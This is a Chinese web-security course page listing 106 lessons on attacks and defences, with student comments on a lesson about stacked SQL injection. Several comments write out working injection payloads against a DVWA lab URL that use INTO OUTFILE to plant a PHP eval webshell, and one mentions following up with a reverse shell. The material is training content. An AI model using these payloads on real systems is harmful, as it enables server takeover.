Web 安全攻防实战
王昊天
螣龙安科创始人兼 CEO
25016 人已学习
新⼈⾸单¥68
课程目录
已完结/共 106 讲
第二章:Web安全之后端安全 (46讲)
Web 安全攻防实战
登录|注册
留言
6
收藏
沉浸
阅读
分享
手机端
回顶部
当前播放: 28 | SQL注入实战:威力巨大的堆叠注入
00:00 / 00:00
高清
  • 高清
1.0x
  • 2.0x
  • 1.5x
  • 1.25x
  • 1.0x
  • 0.75x
  • 0.5x
网页全屏
全屏
00:00
付费课程,可试看
01 | 课程介绍
02 | 内容综述
03 | Web安全前端基础:HTML
04 | Web安全前端基础:CSS、JavaScript
05 | 探究网站的运作原理:用Python写一个简单的Web App
06 | Web框架的运作原理:用Django快速搭建一个网站
07 | HTTP协议是怎么工作的?
08 | 常见的Web安全漏洞都有哪些?
09 | Web渗透工具入门:Burp Suite、cURL、Postman
10 | Web渗透插件入门:Wappalyzer、HackBar
11 | 文件上传漏洞:漏洞原理&一句话木马
12 | 文件上传漏洞初阶:后缀名绕过&原理探究
13 | 文件上传漏洞中阶:前端验证绕过、.htaccess绕过、大小写绕过
14 | 文件上传漏洞高阶:文件流绕过、字符串截断绕过、文件头检测绕过
15 | 文件上传漏洞:初探源码审计
16 | 文件上传漏洞:初探Fuzz
17 | Web安全后端基础:数据库的基本概念
18 | Web安全后端基础:极简MySQL入门
19 | SQL注入漏洞的原理及其危害
20 | 从协议视角看注入:GET型注入攻击及防御
21 | 从协议视角看注入:POST型注入攻击及防御
22 | SQL注入实战:判断SQL注入点&防御方式
23 | 宏观视角看注入:5种不同的SQL注入类型
24 | SQL注入实战:利用时间盲注绕过无报错无回显场景
25 | SQL注入实战:隐蔽的HTTP头盲注
26 | SQL注入实战:利用数据库的bug进行报错注入
27 | SQL注入实战:实施报错注入攻击
28 | SQL注入实战:威力巨大的堆叠注入
29 | SQL注入实战:游离在常规分类外的OOB注入
30 | SQL注入实战:浅谈OOB注入原理
31 | SQL注入实战:OOB注入之环境准备
32 | SQL注入实战:OOB注入关键函数解析之load_file
33 | SQL注入实战:实施OOB注入攻击
34 | SQL注入实战:如何绕过WAF之混淆注入原理
35 | SQL注入实战:如何绕过WAF之union、where、limit过滤绕过
36 | SQL注入实战:如何绕过WAF之group by、select、单引号、hex、unhex、substr绕过
37 | SQL注入实战:如何绕过WAF之空格、等号、双写、双重编码绕过
38 | SQL注入实战:如何绕过WAF之数据库底层编码注入攻击
39 | SQL注入实战:如何绕过WAF之二次注入攻击
40 | SQL注入实战:激动人心的命令执行
41 | SQL注入实战:webshell类型命令执行与交互
42 | SQL注入实战:UDF类型命令执行与交互
43 | SQL注入实战:玩转Linux权限管理之用户和组
44 | SQL注入实战:玩转Linux权限管理之文件权限
45 | SQL注入实战:自动化注入攻击之了解sqlmap
46 | SQL注入实战:玩转sqlmap之携带cookie
47 | SQL注入实战:玩转sqlmap之通过level设定检测深度
48 | SQL注入实战:玩转 sqlmap之读写server文件
49 | SQL注入实战:玩转sqlmap之实战脱库
50 | SQL注入实战:自动化注入攻击之FuzzDB+Burp组合拳
51 | SQL注入实战:欣赏优秀的Web后门之核心功能
52 | SQL注入实战:欣赏优秀的Web后门之免杀
53 | SQL注入实战:面向NoSQL数据库的注入攻击
54 | SQL注入实战:浅谈SQL注入防御方式及原理之预编译
55 | SQL注入实战:浅谈SQL注入防御方式及原理之过滤
56 | 加密算法与随机数
57 | Spring框架安全攻击和防御 - 什么是框架级漏洞
58 | Spring框架安全攻击和防御 - CVE-2017-8046利用
59 | Spring框架安全攻击和防御 - CVE-2017-8046分析
60 | 反射型XSS漏洞原理、案例及防御措施
61 | 存储型XSS漏洞原理、案例及防御措施
62 | DOM型XSS漏洞原理、案例及防御措施
63 | 伪协议与编码绕过
64 | XSS蠕虫实战案例分析
65 | XSS混淆编码
66 | CSRF跨站请求伪造漏洞原理、攻击演练
67 | 同源策略及跨源访问
68 | XSS及CSRF综合利用案例分析:点击劫持
69 | HTML5新标签及相应的安全分析(一)
70 | HTML5新标签及相应的安全分析(二)
71 | XSS之模板注入 - 初探Node.js模板引擎
72 | XSS之模板注入 - 模板引擎与XSS的关系
73 | XSS之模板注入 - 经典注入手法
74 | Javascript与RCE(远程代码执行)
75 | BlackHat议题追踪:XSS的危害不够大? - 构造攻击链
76 | BlackHat议题追踪:XSS的危害不够大? - CSRF到XSS
77 | BlackHat议题追踪:XSS的危害不够大? - XSS到RCE
78 | SSRF服务端请求伪造
79 | Apache安全专题 - 配置错误诱发的漏洞
80 | Apache安全专题 - CVE-2017-15715
81 | Nginx安全专题 - CRLF注入攻击
82 | Nginx安全专题 - CVE-2017-7529
83 | Tomcat安全专题
84 | PHP安全专题:了解PHP环境
85 | PHP安全专题:远程(本地)文件包含
86 | PHP安全专题:学习黑魔法函数
87 | PHP安全专题:序列化及反序列化漏洞
88 | PHP安全专题:浅谈PHP安全编码
89 | Java Web安全专题:Java Web基础
90 | Java Web安全专题:浅谈代码审计思路
91 | Node.js安全专题:Node.js基础
92 | Node.js安全专题:Express及其组件
93 | Node.js安全专题:Node.js安全开发技术
94 | Node.js安全专题:Node.js漏洞审计
95 | DDoS之协议层拒绝服务攻击:SYN泛洪、UDP泛洪、ICMP泛洪
96 | DDoS之应用层拒绝服务攻击:Slowloris攻击、HTTP Post DoS
97 | 如何做好认证与会话管理?
98 | 访问控制:水平权限&垂直权限
99 | 互联网公司运营安全、业务安全、业务逻辑安全策略规范
100 | 如何做好用户隐私保护?—— 开发者视角
101 | 如何做好用户隐私保护?—— 用户体验及产品设计视角
102 | 网络钓鱼防范:钓鱼网站、邮件钓鱼的防控
103 | 怎样建立安全开发流程(SDL)?
104 | 漏洞修补应当遵循怎样的流程?
105 | 如何建立安全监控规范?
106 | 结束语
本节摘要
登录 后留言

全部留言(6)

  • 最新
  • 精选
Kevin⚡️Zhou
MYSQL的引号escape方法比较特殊, 单引号里面可以escape单引号, 我一直卡在这个上面, 终于解决了, 可以利用如下方式堆叠注入: http://127.0.0.1:81/vulnerabilities/sqli/?id=1'; select '<?php eval$_POST[\'cmd\']?>' into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- &Submit=Submit# 然后通过shell脚本反向shell即可

作者回复: 同学的研究精神值得钦佩!

2020-07-31
2
Pqw
老师,为什么我在 dvwa 的数据库中直接写入 webshell 可以成功,语法也没有问题,为什么用堆叠注入就始终无法成功呢?http://www.dock.com/vulnerabilities/sqli/?id=1';select '123' into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- &Submit=Submit#

作者回复: 这里涉及到编程语言使用具体查询的API,这些API有的允许执行多个SQL,有的仅允许单个SQL执行,如果API自身不允许多SQL执行,堆叠注入自然就无法成功。

2020-10-12
沈伟敏
听了老师这么多 SQL注入攻击的课程,收获颇丰。 但是,我在实践过程中发现,现在的大多数主流编程语言都支持orm,并且orm请求过程也支持了mysql的prepare statement,这样一来实际上已经屏蔽了绝大多数SQL注入。 所以我感觉这些注入目前实战价值比较低(当然如果是为了课程教授用来举一反三就另当别论了)。后续有没有比较有实战价值的课程介绍呢?

作者回复: 首先 ORM的确很方便,但是也有它自身的限制,当性能要求上来之后,手写sql必不可少,OWASP top10 2017 版 把注入列为了第一,并不是没有理由的,世界上还有非常多的WEB网站使用PHP编写,使用了不同版本的PHP框架,不同的cms,它们实际上仍然面临着sql注入的威胁,直接的注入确实变少了,但是思维的拓展和变种的注入,在将来很长一段时间都是起作用的。这是最近出现的一个sql注入漏洞。 https://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650477612&idx=2&sn=b800ec8a60a537a42dd4a03c35b57fd4 当然,我们以后会出其他课程,如果你觉得跟着我们的课程学习有收获,关注我们哦~

2020-08-25
2
Kevin⚡️Zhou
如果不用堆叠注入的话, 我们都不需要更改原本的代码, 直接使用mysql_query这个api, 使用如下代码 http://127.0.0.1:81/vulnerabilities/sqli/?id=1' union select '<?php eval$_POST[''cmd'']?>', 2 into outfile '/var/www/html/vulnerabilities, 这样的话也可以实现生成shell文件, 但这种注入比较苛刻, 需要mysql用户对文件夹有使用权限, 同时mysql内部也要使用 GRANT FILE ON *.* TO app@localhost; 来打开文件写权限

作者回复: 看其他回复,童鞋貌似已经自己解决了,很厉害哦!

2020-07-31
Kevin⚡️Zhou
关于课后作业, 我尝试了很多字符串试图从mysql内部写入磁盘上的文件, 比如将输入替换为 1'; select \"<?php eval($_POST['cmd']); ?>\" into outfile '/var/www/html/vulnerabilities/sqli/source/shell.php'; -- 但是尝试了很久没能成功, 老师能不能给一个参考? 如何从mysql内部写入到磁盘上php文件中.

作者回复: 看其他回复,童鞋貌似已经自己解决了,很厉害哦!

2020-07-31
测试老牛
其实,我觉得这个自己加密的得密码放入到数据库得方法是限制十分大的,首先,你不知道数据库中得密码是什么加密方式,如果数据库是md5加密方式,那么我们就很容易就解出来了。如果数据库使用的不是md5加密方式,我们把密码加密成md5,数据库该怎么解密呢?如果数据库自带解密方式,可能就是我的局限性了
2022-06-18
收起评论